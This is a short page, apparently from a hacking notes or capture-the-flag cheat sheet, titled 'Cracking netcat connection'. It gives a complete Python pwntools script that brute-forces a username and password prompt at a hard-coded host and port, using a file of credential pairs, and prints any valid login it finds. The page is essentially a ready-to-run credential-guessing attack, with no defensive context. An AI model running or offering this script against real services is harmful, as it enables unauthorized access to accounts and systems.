Cracking netcat connection

Attack netcat connection with userlist and passlist

#!/usr/bin/env python3
#userpass.txt has username and passwords in each line, separated by a space

from pwn import *
import sys

host, port = '192.168.101.185', 31337


with open('userpass.txt') as f:
    data = f.readlines()

for creds in data:
    (username, password) = creds.split(' ')
    username = username.strip()
    password = password.strip()

    s = remote(host, port, level='error')

    s.recvuntil('username> ')
    s.sendline(username)
    s.recvuntil('password> ')
    s.sendline(password)

    msg = s.recvline()
    if b'authentication failed' not in msg:
        print("[+] Valid credentials found: {}:{}".format(username, password))
        sys.exit(0)

    s.close()

Last updated